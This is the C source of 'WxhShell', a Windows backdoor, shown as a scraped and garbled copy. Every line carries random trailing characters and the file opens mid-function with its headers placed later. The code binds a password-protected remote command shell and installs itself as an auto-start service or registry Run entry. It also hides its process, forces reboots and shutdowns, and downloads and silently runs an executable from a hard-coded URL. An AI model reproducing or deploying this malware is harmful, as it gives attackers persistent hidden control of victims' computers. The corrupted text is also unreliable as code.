    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/g(=F__[  
    else { `5!7Il  
    closesocket(wsh); u2Rmp4]  
    ExitThread(0); d(]LRIn~1  
    } =8tdu B  
    break; }n:-nB4  
    } TOBAh.1  
  // 获取shell ~zRW*pd  
  case 's': { w#JF7;  
    CmdShell(wsh); 9Ft)VX  
    closesocket(wsh); pw(`+x]  
    ExitThread(0); oh:t ex<  
    break; ^2=Jv.2{|  
  } *b.>pY?2|  
  // 退出 c4; `3  
  case 'x': { O+'Pq,hn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zr$PSp}  
    CloseIt(wsh); H;$w^Tr  
    break; m6 IZG l7%  
    } ]k,fEn(  
  // 离开 ?G8 D6  
  case 'q': { e?f[t*td  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }[75`pC~O  
    closesocket(wsh); Qh{=Z^r  
    WSACleanup(); y ruN5  
    exit(1); LW2Sko?Yo  
    break; u6%56 %^f  
        } Kvk;D ]$  
  } Zj}DlNkVu  
  } _ H@pYMNH  
~gX@2!D5k  
  // 提示信息 bk>M4l61  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g@1MIm c'!  
} b LxV  
  } NtA}I)'SWU  
f'#7i@Je  
  return; {8UBxFIM(  
} ?rv+ydR/q  
$'&`k,a3|P  
// shell模块句柄 AE<AEq  
int CmdShell(SOCKET sock) yV`!Fq 1k  
{ Duz}e80  
STARTUPINFO si; - 6  
ZeroMemory(&si,sizeof(si)); 6.By)L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O^e !<bBd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b[u_r,b  
PROCESS_INFORMATION ProcessInfo; Fa>Y]Y0r  
char cmdline[]="cmd"; AS8T!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QU417EV'  
  return 0; 9VP|a-  
} KIuYWr7&  
O:u^jcXA  
// 自身启动模式 0?sIod  
int StartFromService(void) ;JAe=wt^'I  
{ 6*]Kow?  
typedef struct f[dwu39k  
{ @B1rtw6  
  DWORD ExitStatus; DE. Pw+5<.  
  DWORD PebBaseAddress; DVCc^5#  
  DWORD AffinityMask; g0ug:- R  
  DWORD BasePriority; !E$S&zVMQ  
  ULONG UniqueProcessId; P}aJvFlmP  
  ULONG InheritedFromUniqueProcessId; t(ZiQ<A  
}   PROCESS_BASIC_INFORMATION; .j;My%)?p  
xeu] X|,  
PROCNTQSIP NtQueryInformationProcess; *emUQ/uvf  
}uZh oA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z0-W%W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @YT=-  
sG^b_3o)A  
  HANDLE             hProcess; N"2@y aN  
  PROCESS_BASIC_INFORMATION pbi; x9@%L{*  
m&; t;&#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B8;ZOLAU  
  if(NULL == hInst ) return 0; u2!8'-Ai  
r_R|.fl<[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dnN"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G q0~&6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pX!S*(Q{  
^]Gt<_  
  if (!NtQueryInformationProcess) return 0; h`5au<h<  
g*^"x&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rfgc^3:j  
  if(!hProcess) return 0; q A G0t{K  
.Sb|+[{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YF."D%?  
3xj<ATSe  
  CloseHandle(hProcess); Q&n|tQ*4  
wV U(Du  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S Xgpj  
if(hProcess==NULL) return 0; JU"!qXQr  
M,mj{OY~x  
HMODULE hMod; g]d@X_ &D  
char procName[255]; xu_Tocvop  
unsigned long cbNeeded; 4jar5Mz  
C~6aX/:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9hLPo  
ZtB0:'o;  
  CloseHandle(hProcess); tCA |sN  
b;S~`PL  
if(strstr(procName,"services")) return 1; // 以服务启动 )Hw;{5p@  
*D`,z3/*  
  return 0; // 注册表启动 85nUR [)h  
} r^Gl~sX  
3>?ip;  
// 主模块 8zZR %fZ  
int StartWxhshell(LPSTR lpCmdLine) GO`X KE  
{ xb1)ZJH  
  SOCKET wsl; I80.|KIv  
BOOL val=TRUE; GJ?rqmbL  
  int port=0; o F @{&  
  struct sockaddr_in door; :Z`4ea"w  
uOZ+9x(  
  if(wscfg.ws_autoins) Install(); BHU(Hd  
YBg\L$| n  
port=atoi(lpCmdLine); M0_K%Z(zaR  
VsUEp_I  
if(port<=0) port=wscfg.ws_port; vA+RZ  
4W^0K|fq  
  WSADATA data; qr6WSBc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9}3W0F;  
} #%sI"9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o#w6]Fmc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]>:%:-d6  
  door.sin_family = AF_INET; zwAuF%U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^3*gf}  
  door.sin_port = htons(port); rytizbc  
6 *Q5.g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LscAsq<H<  
closesocket(wsl); if_e$,dh~>  
return 1; <!=TxV>}A  
} W%Um:C\I  
l65'EO|  
  if(listen(wsl,2) == INVALID_SOCKET) { |a'Q^aT  
closesocket(wsl); iiRK3m  
return 1; VX;u54hS  
} )Cx8?\/c=x  
  Wxhshell(wsl); .W?POJT  
  WSACleanup(); Zwq uS9  
Gt-  -7S  
return 0; ?F`lI""E  
hRA.u'M  
} 9>zN 27  
tD>m%1'&  
// 以NT服务方式启动 {4:En;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @W^g(I(w  
{ r$0=b -  
DWORD   status = 0; c*\^6 1T  
  DWORD   specificError = 0xfffffff; BRH:5h  
f+/^1~^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f1\x>W4z~\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q^12Rj;H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e {c.4'q  
  serviceStatus.dwWin32ExitCode     = 0; s$Roe(J  
  serviceStatus.dwServiceSpecificExitCode = 0; b^A&K@[W#,  
  serviceStatus.dwCheckPoint       = 0; hvpn=0@ M  
  serviceStatus.dwWaitHint       = 0; G+5G,|}  
Ke,-8e#Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7<NX;Fx  
  if (hServiceStatusHandle==0) return; /$q;-/DnTZ  
ifBJ$x(B.  
status = GetLastError(); yy #Xs:/  
  if (status!=NO_ERROR) w.0.||C O  
{ TF3Tha]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O4-UVxv}  
    serviceStatus.dwCheckPoint       = 0; 9|#h )*  
    serviceStatus.dwWaitHint       = 0; bfa5X<8  
    serviceStatus.dwWin32ExitCode     = status; e HOm^.gd  
    serviceStatus.dwServiceSpecificExitCode = specificError; m]u#Dm7h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cHR}`U$  
    return; 2TAy'BB;)  
  } 6^ KDc  
:0srFg?X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X\$M _b>O  
  serviceStatus.dwCheckPoint       = 0; g%\e80~1(  
  serviceStatus.dwWaitHint       = 0; O|gb{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'TbA^U[  
} t+?\4+!<  
_$Fi]l!f  
// 处理NT服务事件,比如:启动、停止 X;}_[ =-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @MN>ye'T  
{ s&fU|Jk8  
switch(fdwControl) z?7s'2w&{  
{ $G=\i>R.  
case SERVICE_CONTROL_STOP: VK|!aqA{b  
  serviceStatus.dwWin32ExitCode = 0; 3a#!^ G!~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |d:URuG~:I  
  serviceStatus.dwCheckPoint   = 0; />n0&~k[h  
  serviceStatus.dwWaitHint     = 0; E!Ng=}G&_  
  { 1,pg:=N9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EIF[e|kZ<  
  } C-2n2OM.  
  return; tG#F7%+E  
case SERVICE_CONTROL_PAUSE: -''vxt?7H&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -7+Fb^"L  
  break; esLY1c%"/  
case SERVICE_CONTROL_CONTINUE: i!Ne<Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "= %-  
  break; AV8TP-Ls+  
case SERVICE_CONTROL_INTERROGATE: ZW\h,8%  
  break; w=f8UtY9@A  
}; -R\}Q"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [PQG]"  
} >#8`Zy:/Y  
*tP,Ol  
// 标准应用程序主函数 b,K1EEJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >>!+Ri\@  
{ oVsl,V  
1}'Jbj"/  
// 获取操作系统版本 j}ruXg  
OsIsNt=GetOsVer(); 7tr.&A^c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B! -W765Y  
"#JoB X@yE  
  // 从命令行安装 wTTQIo 60  
  if(strpbrk(lpCmdLine,"iI")) Install(); $iF7hyZ  
5aWKyXBIx  
  // 下载执行文件 &GbCJ  
if(wscfg.ws_downexe) { zd;xbH//)b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d&U;rMEv  
  WinExec(wscfg.ws_filenam,SW_HIDE); l_kH^ET  
} `[ne<F?e  
DSnsi@Mi  
if(!OsIsNt) { s&tr84u|  
// 如果时win9x,隐藏进程并且设置为注册表启动 LBM:>d5  
HideProc(); S63L>p|ml  
StartWxhshell(lpCmdLine); m1`ln5(R  
} ^^?ECnpcU  
else wYF)G;[wM  
  if(StartFromService()) \zoJr)  
  // 以服务方式启动 SE/@li  
  StartServiceCtrlDispatcher(DispatchTable); xr?r3Y~^e  
else ,Qh4=+jwqn  
  // 普通方式启动 nF//y}  
  StartWxhshell(lpCmdLine); 5N[Y2  
&!_Ko`b8K  
return 0; I]$kVa1iN  
} ph|3M<q6  
Dljq  
#p[=iP  
Lv5AtZl}  
=========================================== koie  
7*4F-5G/  
=lffr?#&B  
RnTPU`  
|Rab'9U^  
Z2LG/R  
" qI'a|p4fn?  
-BjB>Vt  
#include <stdio.h> !AMPA*  
#include <string.h> b0&dpMgh:  
#include <windows.h> +q2l,{|?  
#include <winsock2.h> *k=}g][?  
#include <winsvc.h> ; aMMI p  
#include <urlmon.h> z#-&MJ  
D #A9  
#pragma comment (lib, "Ws2_32.lib") W:tE ?Hu  
#pragma comment (lib, "urlmon.lib") UkGUxQ,GU  
Nd( $s[  
#define MAX_USER   100 // 最大客户端连接数 W*_ifZ0s.  
#define BUF_SOCK   200 // sock buffer z24-h C  
#define KEY_BUFF   255 // 输入 buffer V&f3>#n\  
PSy=O\  
#define REBOOT     0   // 重启 7aU*7!U  
#define SHUTDOWN   1   // 关机  M,6AD]  
HWHGxg['r  
#define DEF_PORT   5000 // 监听端口 )@sz\yI%U  
wv*r}{%7g[  
#define REG_LEN     16   // 注册表键长度 TRQva8d?  
#define SVC_LEN     80   // NT服务名长度 +-{H T+W  
w)}[)}T!  
// 从dll定义API w.V8-9{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yt{Y)=_t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9EH%[wfv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  a1j 6-p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7zNyH(.  
!u=[/>  
// wxhshell配置信息 a(<nk5  
struct WSCFG { uH7u4f1Q  
  int ws_port;         // 监听端口 .+8w\>w6g  
  char ws_passstr[REG_LEN]; // 口令 M9iu#6P  
  int ws_autoins;       // 安装标记, 1=yes 0=no _H;ObTiB  
  char ws_regname[REG_LEN]; // 注册表键名 0ogTQ`2Z:  
  char ws_svcname[REG_LEN]; // 服务名 SIg=_oa   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p2cKtk+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MbJV)*Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^h' wZ7-\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rA_e3L@v#[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {0[qERj"z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ho0T$hB  
iaR'):TD  
}; "rX`h  
UyvFR@  
// default Wxhshell configuration z |t0mS$  
struct WSCFG wscfg={DEF_PORT, /*8"S mte  
    "xuhuanlingzhe", oinF<-(  
    1, ~xA' -N/  
    "Wxhshell", jF'S"_/?  
    "Wxhshell", [jY_e`S  
            "WxhShell Service", udw5A*Ls  
    "Wrsky Windows CmdShell Service", V%3K")  
    "Please Input Your Password: ", 0t<TZa]V  
  1, Dn9Ta}miTO  
  "http://www.wrsky.com/wxhshell.exe", 3ldOOQW%  
  "Wxhshell.exe" Z*leEwgz  
    }; Ldig/:  
]xFd_OHdb  
// 消息定义模块 6@ nEcr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z*kn.sW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #2n>J'}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dhV =;'   
char *msg_ws_ext="\n\rExit."; (h2bxfV~+  
char *msg_ws_end="\n\rQuit."; <oO^ w&G  
char *msg_ws_boot="\n\rReboot..."; I*'QD)  
char *msg_ws_poff="\n\rShutdown..."; kELV]iWb  
char *msg_ws_down="\n\rSave to "; 6Si z9  
0OlB;  
char *msg_ws_err="\n\rErr!"; rs<UWk<q  
char *msg_ws_ok="\n\rOK!"; |>d5 6  
gx #TRp}-  
char ExeFile[MAX_PATH]; ,%D \  
int nUser = 0; BE:GB?XBH  
HANDLE handles[MAX_USER]; rrmr#a  
int OsIsNt; 3'IF? ](]U  
>/-<,,<\C  
SERVICE_STATUS       serviceStatus; 3d \bB !  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S_1R]n1/  
6 Rg{^ERf  
// 函数声明 v vOG]2z  
int Install(void); {Pdy KgM  
int Uninstall(void); `a  
int DownloadFile(char *sURL, SOCKET wsh); E{1O<qO<  
int Boot(int flag); v=@Z,-  
void HideProc(void); ~%>ke  
int GetOsVer(void); 29}(l#S}m  
int Wxhshell(SOCKET wsl); L`3 g5)V  
void TalkWithClient(void *cs); =C u !  
int CmdShell(SOCKET sock); > u~ l_?  
int StartFromService(void); LzP+l>m  
int StartWxhshell(LPSTR lpCmdLine); 2Fp.m}42i(  
D1#fy=u69|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O57 eq.aT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S9U`-\L0  
4IIe1 .{  
// 数据结构和表定义 T =_Hd  
SERVICE_TABLE_ENTRY DispatchTable[] = -NHc~=m  
{ #jbo! wdg  
{wscfg.ws_svcname, NTServiceMain}, RCgZ GP  
{NULL, NULL} .kyp5CD}4  
}; \"|E8A6/  
&n91f  
// 自我安装 eG=Hyc  
int Install(void) K-Y;[+#g1o  
{ #]cO] I  
  char svExeFile[MAX_PATH]; ~~;J[F p  
  HKEY key; R~PD[.\u  
  strcpy(svExeFile,ExeFile); _e7 Y R+  
=c[9:&5Q  
// 如果是win9x系统,修改注册表设为自启动 Hq ]f$Q6:  
if(!OsIsNt) { lN -vFna  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j/ow8Jmc*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?45bvkCT  
  RegCloseKey(key); -Uh3A\#(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |W:xbtPNy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ot8UuBq  
  RegCloseKey(key); <My4 )3  
  return 0; XE6sFU  
    } .}=gr+<bf  
  } K!=Y4"5%  
} >kU$bh.(  
else { o]u,<bM$  
Hyh$-iCa  
// 如果是NT以上系统,安装为系统服务  _xjw:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F-D9nI4{X  
if (schSCManager!=0) j0_)DG  
{ @FO= 0_;y  
  SC_HANDLE schService = CreateService >cpT_M&C,  
  ( Wl\.*^`k  
  schSCManager, FhpS#, Y$  
  wscfg.ws_svcname, @Fvp~]jCb  
  wscfg.ws_svcdisp, 62)Qr  
  SERVICE_ALL_ACCESS, !Z]#1"A8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KxhMPvN'  
  SERVICE_AUTO_START, mmRxs1 0$  
  SERVICE_ERROR_NORMAL, % 8u97f W  
  svExeFile, KW`^uoY$  
  NULL, =r:(ga  
  NULL, @komb IK  
  NULL, .FYxVF.  
  NULL, rvfS[@>v  
  NULL ~XU%_Hz  
  ); 5 6w6=Is  
  if (schService!=0) 40h  
  { r}T(?KGx  
  CloseServiceHandle(schService); ,yf2kU  
  CloseServiceHandle(schSCManager); w5Lev}Rb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w>S;}[fM  
  strcat(svExeFile,wscfg.ws_svcname); 2 8>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N(c`h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  %JoHc?  
  RegCloseKey(key); ~/C9VR&  
  return 0; "}*5'e.*  
    } {+Zj}3o  
  } bbNN$-S|  
  CloseServiceHandle(schSCManager); &l M=>?  
} IE]? WW5  
} BLaF++Fop  
? $$Xg3w_#  
return 1; AdU0 sZ+&c  
} q8 &\;GK|  
l;7T.2J'Z  
// 自我卸载 aoqG*qh}b  
int Uninstall(void) ~  p~  
{ y$$|_ l@  
  HKEY key; -qyhg-k6  
{3Y R_^>?  
if(!OsIsNt) { qzk!'J3*r<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Eb=jWA  
  RegDeleteValue(key,wscfg.ws_regname); pf% yEz  
  RegCloseKey(key); e92,@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W79Sz}):  
  RegDeleteValue(key,wscfg.ws_regname); .o#A(3&n  
  RegCloseKey(key); 2^w8J w9  
  return 0; Nb3uDA5R  
  } .RW&=1D6  
} 2p %j@O  
} {Qba`lOkq  
else { h~`^H9?M  
utzf7?nIS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3-Bz5sj9  
if (schSCManager!=0) *q-VY[2  
{ 4$oDq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QtHK`f>4#n  
  if (schService!=0) &v)/mc7D  
  { `;Od0uh  
  if(DeleteService(schService)!=0) { YQ|o0>  
  CloseServiceHandle(schService); :P8X?C63W]  
  CloseServiceHandle(schSCManager); `(uN_zvH  
  return 0; vJj}$AlI  
  } LK|1[y^h  
  CloseServiceHandle(schService); J7pF*2  
  } !&adO,jN+=  
  CloseServiceHandle(schSCManager); PiIP%$72O  
} NG5k9pJ  
} oL U!x  
JA09 o(  
return 1; g ySl.cxt  
} XwZR Kh\>=  
* ,L e--t  
// 从指定url下载文件 #EA` |  
int DownloadFile(char *sURL, SOCKET wsh) mrQT:B\8  
{ (M# m BS  
  HRESULT hr; :z-?L0C=0  
char seps[]= "/"; uCHM  
char *token; %bp'`B=  
char *file; rL,kDSLs  
char myURL[MAX_PATH]; zI= 9  
char myFILE[MAX_PATH]; 3!op'X!  
BU<Qp$ &  
strcpy(myURL,sURL); *+TO%{4  
  token=strtok(myURL,seps); 9 K>~9Za  
  while(token!=NULL) e}NB ,o  
  { uquY z_2  
    file=token; 8I~*9MUp  
  token=strtok(NULL,seps); p`Ok(C_  
  } .npD<*  
2WS Wfh  
GetCurrentDirectory(MAX_PATH,myFILE); l0PXU)>C  
strcat(myFILE, "\\"); 1RauI0d*  
strcat(myFILE, file); emHaZhh  
  send(wsh,myFILE,strlen(myFILE),0); q*!Vyk  
send(wsh,"...",3,0); 0 s@>e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :z`L)  
  if(hr==S_OK) KwY6pF*  
return 0; Ip0`R+8  
else 8dh ?JqX  
return 1; )}J}d)  
W[LQ$uj  
} m~tv{#Y  
yu jv^2/  
// 系统电源模块 ZEB,Q~  
int Boot(int flag) 4}t$Lf_  
{ S;SI#Vg@  
  HANDLE hToken; 734H{,~  
  TOKEN_PRIVILEGES tkp; )_kU,RvZ  
(g>&ov(d  
  if(OsIsNt) { f3*SIKi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *-3*51 jW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w&Z.rB?  
    tkp.PrivilegeCount = 1; ;ykX]5jGh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4|hfzCjMI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /tJ%gF  
if(flag==REBOOT) { S" PJ@E}^E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O{Z bpa^  
  return 0; # ';b>J  
} CN6b 982&  
else { u)~::2BXAn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ] V,#>'  
  return 0; ;y;UgwAM  
} fM3ZoH/  
  } gMPvzBpP  
  else {  n[7=  
if(flag==REBOOT) { ;vUw_M{P=)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G)gPL]C0  
  return 0; 7Q|v5@;pU  
} 6n^vG/.M  
else { +hIMfhF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L,3%}_  
  return 0; /~+j[o B  
} }0 Fu  
} % O*)'ni  
J@IF='{  
return 1; &g!yRvM!;Q  
} >Ft:&N9L{  
B7n1'?  
// win9x进程隐藏模块 lGEfI&1%!  
void HideProc(void) 8*sP  
{ "4CO^ B  
|iVw7M:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {;={ abj  
  if ( hKernel != NULL ) /< \do 1  
  { bKQ-PM&I/t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4EJ6Zy![0*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uXdR-@80*  
    FreeLibrary(hKernel); 1ifPc5j}  
  } tj:>o#D  
30QQnMH3  
return; 9j1 tcT  
} e9eBD   
m</nOf+C  
// 获取操作系统版本 4K!@9+Mz  
int GetOsVer(void) $kh6-y@  
{ F"a31`L>H  
  OSVERSIONINFO winfo; k&o1z'<C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b$}@0  
  GetVersionEx(&winfo); ^oZD44$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I_'0!@Nn7  
  return 1; I z)~h>-F  
  else ?Q: KW  
  return 0; Es+BV+x[.c  
} W4=<hB  
h|.*V$3  
// 客户端句柄模块 L)_L#]Yy  
int Wxhshell(SOCKET wsl) k^\>=JTq=  
{ M9wj };vy  
  SOCKET wsh; Nk shJ2  
  struct sockaddr_in client; y_Nn%(j  
  DWORD myID; -;U3$[T,J7  
;%Zn)etu  
  while(nUser<MAX_USER) ~'/_q4  
{ E" b" VB  
  int nSize=sizeof(client); u/4|Akui  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^BQ*l5K  
  if(wsh==INVALID_SOCKET) return 1; si|b>R&Z  
Sv03="&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M-NY&@Nj  
if(handles[nUser]==0) +FYhDB~m  
  closesocket(wsh); B#(2,j7M  
else D(Yq<%Q  
  nUser++; &^JY  
  } *M()z.N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A[X~:p.^G  
Qrt> vOUE7  
  return 0; qGKQrb,K  
} %/=#8v4*  
u6BLhyS  
// 关闭 socket f m'Qif q^  
void CloseIt(SOCKET wsh) x0x/2re  
{ ){XG%nC  
closesocket(wsh); >-YWq  
nUser--; 9-N*Jhg  
ExitThread(0); 6WX+p3Kv  
} B$%7U><'  
a |+q:g0M  
// 客户端请求句柄 [)83X\CO  
void TalkWithClient(void *cs) N;d@)h(N!  
{ (eJYv: ^  
cdfvc0  
  SOCKET wsh=(SOCKET)cs; }mSfg  
  char pwd[SVC_LEN]; Kly`V]XE  
  char cmd[KEY_BUFF]; ,-{ 2ai_  
char chr[1]; xt"GO  b  
int i,j; 3ws}E6\D  
5\$8"/H  
  while (nUser < MAX_USER) { 8k`rj;  
x?MSHOia`P  
if(wscfg.ws_passstr) { 1?bX$$y l;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f")*I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D$ +"n  
  //ZeroMemory(pwd,KEY_BUFF); #v`J]I)$  
      i=0; >E`p@ e+  
  while(i<SVC_LEN) { T'nQj<dBt:  
GS4 HYF  
  // 设置超时 BKQI|i  
  fd_set FdRead; ghd*EXrF H  
  struct timeval TimeOut; {^VvL'n  
  FD_ZERO(&FdRead); ?H_'L4Wv  
  FD_SET(wsh,&FdRead); wIT}>8o  
  TimeOut.tv_sec=8; K@z zseQ}=  
  TimeOut.tv_usec=0; QR;E>eEq  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =+j>?Yi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1Q ^YaHzuW  
C4~`3Mk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $!_]mz6*  
  pwd=chr[0]; px1{=~V/  
  if(chr[0]==0xd || chr[0]==0xa) { &18CCp\3)c  
  pwd=0; ) b vZ~t+^  
  break; =?/RaK/ w  
  } :LwNOuavN  
  i++; r{gJ[%  
    } #c ndq[H  
~rX2oLw{&  
  // 如果是非法用户,关闭 socket yEe4{j$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @i[z4)"S  
} &[hq !v  
d= -/'_'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zi*2>5g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YkKq}DXj  
t%n3~i4X:  
while(1) { FaNH+LPe  
nsJN)Pt  
  ZeroMemory(cmd,KEY_BUFF); tGs=08`  
8U07]=Bt<  
      // 自动支持客户端 telnet标准   6/Coi,om  
  j=0; u8Au `  
  while(j<KEY_BUFF) { K~_[[)14b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); / ` 7p'i  
  cmd[j]=chr[0]; :>.~"uWo{  
  if(chr[0]==0xa || chr[0]==0xd) { 12Hy.l  
  cmd[j]=0; @i9T),@  
  break; n(gw%w+\7  
  } .1.Bf26}d  
  j++; y#3mc#)k  
    } 5CxD ys&<  
-VESe}c:nQ  
  // 下载文件 0.+"K}  
  if(strstr(cmd,"http://")) { 1X4v:rI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,?+rM ;  
  if(DownloadFile(cmd,wsh)) s e9X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^Dx4:k<2  
  else -O2ZrJ!q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !TRJsL8  
  } s fxQ  
  else {  ?6!7fs,  
N4%q-fi  
    switch(cmd[0]) { .VVY]>bJg@  
  i51~/ R  
  // 帮助 Nt^R~#8hF>  
  case '?': { k=<,A'y-/  
